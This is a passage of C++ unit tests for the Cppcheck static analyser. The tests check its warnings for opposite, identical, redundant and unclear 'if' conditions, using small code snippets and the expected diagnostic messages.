ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (style) Condition 'x>=4' is always true [knownConditionTrueFalse]\\n\", errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n check(\"void f(int x) {\\n\"\n \"\\n\"\n \" if (x>5) {\\n\"\n \" if (x<=4) {}\\n\" // <- Warning\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:4:10]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 4) {\\n\"\n \" if (10 < x) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerCondition3() {\n check(\"void f3(char c) { if(c=='x') if(c=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:34]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f4(char *p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:37]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:38] -> [test.cpp:1:50]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f5(const char * const p) { if('x'==*p) if('y'==*p) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:51]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f6(char * const p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f7(const char * p) { if(*p=='x') if(*p=='y') {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:44]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f8(int i) { if(i==4) if(i==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:22] -> [test.cpp:1:31]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f9(int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f10(int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:33] -> [test.cpp:1:43]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f11(const int *p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:32] -> [test.cpp:1:42]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f12(const int * const p) { if (*p==4) if(*p==2) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:39] -> [test.cpp:1:49]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==2) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foo {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"void f(foo x) { if(x.a==4) if(x.b==4) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f3(char a, char b) { if(a==b) if(a==0) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { if (x == 1) if (x != 1) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23] -> [test.cpp:1:35]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionAnd() {\n check(\"void f(int x) {\\n\"\n \" if (a>3 && x > 100) {\\n\"\n \" if (x < 10) {}\\n\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:11]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f(bool x, const int a, const int b) {\\n\"\n \" if(x && a < b)\\n\"\n \" if( x && a > b){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:3:19]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n }\n\n void oppositeInnerConditionOr()\n {\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 || x == 2) {\\n\"\n \" if (x == 2) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string x) {\\n\"\n \" if (x == \\\"1\\\" || x == \\\"2\\\") {\\n\"\n \" if (x == \\\"1\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 || x > 3) {\\n\"\n \" if (x == 3) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:3:15]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\",\n errout_str());\n }\n\n void oppositeInnerConditionEmpty() {\n check(\"void f1(const std::string &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:61]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() > 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 0) if(s.empty()) {}} \"); // <- CheckOther reports: checking if unsigned expression is less than zero\n ASSERT_EQUALS(\"[test.cpp:1:45] -> [test.cpp:1:60]: (style) Condition 's.empty()' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:43] -> [test.cpp:1:59]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"template void f1(const T &s) { if(s.size() > 42) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str()); //We don't know the type of T so we don't know the relationship between size() and empty(). e.g. s might be a 50 tonne truck with nothing in it.\n\n check(\"void f2(const std::wstring &s) { if(s.empty()) if(s.size() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:44] -> [test.cpp:1:60]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(QString s) { if(s.isEmpty()) if(s.length() > 42) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:34] -> [test.cpp:1:52]: (warning) Opposite inner 'if' condition leads to a dead code block. [oppositeInnerCondition]\\n\", errout_str());\n\n check(\"void f1(const std::string &s, bool b) { if(s.empty() || ((s.size() == 1) && b)) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(x.size() > 42) if(y.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &x, const std::string &y) { if(y.empty()) if(x.size() > 42) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string v[10]) { if(v[0].size() > 42) if(v[1].empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() <= 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() < 2) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f1(const std::string &s) { if(s.size() >= 0) if(s.empty()) {}} \"); // CheckOther says: Unsigned expression 's.size()' can't be negative so it is unnecessary to test it. [unsignedPositive]\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() <= 0) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: These are identical condition since size cannot be negative\n check(\"void f1(const std::string &s) { if(s.size() < 1) if(s.empty()) {}}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionFollowVar() {\n check(\"struct X {\\n\"\n \" void f() {\\n\"\n \" const int flag = get();\\n\"\n \" if (flag) {\\n\"\n \" bar();\\n\"\n \" if (!get()) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \" void bar();\\n\"\n \" int get() const;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct CD {\\n\"\n \" bool state;\\n\"\n \" void foo() {\\n\"\n \" const bool flag = this->get();\\n\"\n \" if (flag) {\\n\"\n \" this->bar();\\n\"\n \" if (!this->get()) return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bool get() const;\\n\"\n \" void bar();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C {\\n\"\n \"public:\\n\"\n \" bool f() const { return x > 0; }\\n\"\n \" void g();\\n\"\n \" int x = 0;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::g() {\\n\"\n \" bool b = f();\\n\"\n \" x += 1;\\n\"\n \" if (!b && f()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(double d) {\\n\"\n \" if (d != 0) {\\n\"\n \" int i = d;\\n\"\n \" if (i == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeInnerConditionLambda() {\n check(\"void f() {\\n\" // #13728\n \" for (int i = 0; i < 2;) {\\n\"\n \" auto inc = [&]() {\\n\"\n \" if (i >= 2)\\n\"\n \" throw 0;\\n\"\n \" return i++;\\n\"\n \" };\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" inc();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalInnerCondition() {\n check(\"void f1(int a, int b) { if(a==b) if(a==b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"void f2(int a, int b) { if(a!=b) if(a!=b) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:29] -> [test.cpp:1:38]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n // #6645 false negative: condition is always false\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b) {\\n\"\n \" if(a) {}\\n\"\n \" else {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6] -> [test.cpp:3:9]: (warning) Identical inner 'if' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(int a, int b) {\\n\"\n \" if(a == b) { return a == b; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:2:27]: (warning) Identical inner 'return' condition is always true. [identicalInnerCondition]\\n\", errout_str());\n\n check(\"bool f(bool a) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(int* a, int * b) {\\n\"\n \" if(a) { return a; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::shared_ptr a, std::shared_ptr b) {\\n\"\n \" if(a.get()) { return a.get(); }\\n\"\n \" return b.get();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int * x; };\\n\"\n \"int* f(A a, int * b) {\\n\"\n \" if(a.x) { return a.x; }\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" uint32_t value;\\n\"\n \" get_value(&value);\\n\"\n \" int opt_function_capable = (value >> 28) & 1;\\n\"\n \" if (opt_function_capable) {\\n\"\n \" value = 0;\\n\"\n \" get_value (&value);\\n\"\n \" if ((value >> 28) & 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define TYPE_1 \\\"a\\\"\\n\" // #13202\n \"#define TYPE_2 \\\"b\\\"\\n\"\n \"#define TYPE_3 \\\"c\\\"\\n\"\n \"void f(const std::string& s) {\\n\"\n \" if (s == TYPE_1) {}\\n\"\n \" else if (s == TYPE_2 || s == TYPE_3) {\\n\"\n \" if (s == TYPE_2) {}\\n\"\n \" else if (s == TYPE_3) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void identicalConditionAfterEarlyExit() {\n check(\"void f(int x) {\\n\" // #8137\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x > 100) { return false; }\\n\"\n \" return x > 100;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12]: (warning) Identical condition and return expression 'x>100', return value is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 || y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (x > 100 && y > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" if (abc) {}\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 100) { return; }\\n\"\n \" while (abc) { y = x; }\\n\"\n \" if (x > 100) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:9]: (warning) Identical condition 'x>100', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n ASSERT_THROW_INTERNAL(check(\"void f(int x) {\\n\" // #8217 - crash for incomplete code\n \" if (x > 100) { return; }\\n\"\n \" X(do);\\n\"\n \" if (x > 100) {}\\n\"\n \"}\"),\n SYNTAX);\n\n check(\"void f(const int *i) {\\n\"\n \" if (!i) return;\\n\"\n \" if (!num1tok) { *num1 = *num2; }\\n\"\n \" if (!i) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7] -> [test.cpp:4:7]: (warning) Identical condition '!i', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void C::f(Tree &coreTree) {\\n\" // daca\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C { void f(const Tree &coreTree); };\\n\"\n \"void C::f(const Tree &coreTree) {\\n\"\n \" if(!coreTree.build())\\n\"\n \" return;\\n\"\n \" coreTree.dostuff();\\n\"\n \" if(!coreTree.build()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6] -> [test.cpp:6:6]: (warning) Identical condition '!coreTree.build()', second condition is always false [identicalConditionAfterEarlyExit]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // daca: labplot\n \" switch(type) {\\n\"\n \" case 1:\\n\"\n \" if (x == 0) return 1;\\n\"\n \" else return 2;\\n\"\n \" case 2:\\n\"\n \" if (x == 0) return 3;\\n\"\n \" else return 4;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static int failed = 0;\\n\"\n \"void f() {\\n\"\n \" if (failed) return;\\n\"\n \" checkBuffer();\\n\"\n \" if (failed) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca icu\n check(\"void f(const uint32_t *section, int32_t start) {\\n\"\n \" if(10<=section[start]) { return; }\\n\"\n \" if(++start<100 && 10<=section[start]) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // daca iqtree\n check(\"void readNCBITree(std::istream &in) {\\n\"\n \" char ch;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') return;\\n\"\n \" in >> ch;\\n\"\n \" if (ch != '|') {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8924\n check(\"struct A {\\n\"\n \" void f() {\\n\"\n \" if (this->FileIndex >= 0) return;\\n\"\n \" this->FileIndex = 1 ;\\n\"\n \" if (this->FileIndex < 0) return;\\n\"\n \" }\\n\"\n \" int FileIndex;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:29]: (style) Condition 'this->FileIndex<0' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n // #8858 - #if\n check(\"short Do() {\\n\"\n \" short ret = bar1();\\n\"\n \" if ( ret )\\n\"\n \" return ret;\\n\"\n \"#ifdef FEATURE\\n\"\n \" ret = bar2();\\n\"\n \"#endif\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10456\n check(\"int f() {\\n\"\n \" int i = 0;\\n\"\n \" auto f = [&](bool b) { if (b) ++i; };\\n\"\n \" if (i) return i;\\n\"\n \" f(true);\\n\"\n \" if (i) return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11478\n check(\"struct S {\\n\"\n \" void run();\\n\"\n \" bool b = false;\\n\"\n \" const std::function f;\\n\"\n \"};\\n\"\n \"void S::run() {\\n\"\n \" while (true) {\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" f(*this);\\n\"\n \" if (b)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void innerConditionModified() {\n check(\"void f(int x, int y) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 0) {\\n\"\n \" x += y;\\n\"\n \" if (x == 1) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * x, int * y) {\\n\"\n \" if (x[*y] == 0) {\\n\"\n \" (*y)++;\\n\"\n \" if (x[*y] == 0) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // clarify conditions with = and comparison\n void clarifyCondition1() {\n check(\"void f() {\\n\"\n \" if (x = b() < 0) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (assignment + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" for (i = 0; i < 10; i++) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" x = a(); if (x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x = b < 0 ? 1 : 2) {}\\n\" // don't simplify and verify this code\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || (!y && z));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y || !y && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant condition: !y. 'y || (!y && z)' is equivalent to 'y || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!a || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant condition: a. '!a || (a && b)' is equivalent to '!a || b' [redundantCondition]\\n\", errout_str());\n\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Redundant condition: tok->next()->function(). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function() ||\\n\"\n \" (!tok2->next()->function() && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Token *tok) {\\n\"\n \" if (!tok->next(1)->function(1) ||\\n\"\n \" (tok->next(1)->function(1) && tok->next(1)->function(1)->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (style) Redundant condition: tok->next(1)->function(1). '!A || (A && B)' is equivalent to '!A || B' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!tok->next()->function(1) ||\\n\"\n \" (tok->next()->function(2) && tok->next()->function()->isConstructor()));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int y = rand(), z = rand();\\n\"\n \" if (y==0 || y!=0 && z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Redundant condition: y!=0. 'y==0 || (y!=0 && z)' is equivalent to 'y==0 || z' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x>0 || (x<0 && y)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test Token::expressionString, TODO move this test\n check(\"void f() {\\n\"\n \" if (!dead || (dead && (*it).ticks > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Redundant condition: dead. '!dead || (dead && (*it).ticks>0)' is equivalent to '!dead || (*it).ticks>0' [redundantCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (!x || (x && (2>(y-1)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Redundant condition: x. '!x || (x && 2>(y-1))' is equivalent to '!x || 2>(y-1)' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a || (a && b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a || (a && b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if (a && (a || b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Redundant condition: a. 'a && (a || b)' is equivalent to 'a' [redundantCondition]\\n\", errout_str());\n }\n\n // clarify conditions with bitwise operator and comparison\n void clarifyCondition2() {\n check(\"void f() {\\n\"\n \" if (x & 3 == 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Condition 'x&3==2' is always false [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a & fred1.x == fred2.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:8]: (style) Suspicious condition (bitwise operator + comparison); Clarify expression with parentheses. [clarifyCondition]\\n\"\n \"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\"\n , errout_str());\n }\n\n // clarify condition that uses ! operator and then bitwise operator\n void clarifyCondition3() {\n check(\"void f(int w) {\\n\"\n \" if(!w & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f(int w) {\\n\"\n \" if((!w) & 0x8000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (x == foo() & 2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & x == foo()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (2 & (x == foo())) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list &ints) { }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { A a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a(x there are never templates\n ASSERT_EQUALS(\"[test.c:1:17]: (style) Boolean result is used in bitwise operation. Clarify expression with parentheses. [clarifyCondition]\\n\", errout_str());\n\n check(\"class A;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (result != (char *)&inline_result) { }\\n\" // don't simplify and verify cast\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8495\n check(\"void f(bool a, bool b) {\\n\"\n \" C & a & b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition4() { // ticket #3110\n check(\"typedef double SomeType;\\n\"\n \"typedef std::pair PairType;\\n\"\n \"struct S\\n\"\n \"{\\n\"\n \" bool operator()\\n\"\n \" ( PairType const & left\\n\"\n \" , PairType const & right) const\\n\"\n \" {\\n\"\n \" return left.first < right.first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition5() { // ticket #3609 (using | in template instantiation)\n check(\"template struct CWinTraits;\\n\"\n \"CWinTraits::GetWndStyle(0);\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition6() {\n check(\"template\\n\"\n \"SharedPtr& operator=( SharedPtr const & r ) {\\n\"\n \" px = r.px;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCondition7() {\n // Ensure that binary and unary &, and & in declarations are distinguished properly\n check(\"void f(bool error) {\\n\"\n \" bool & 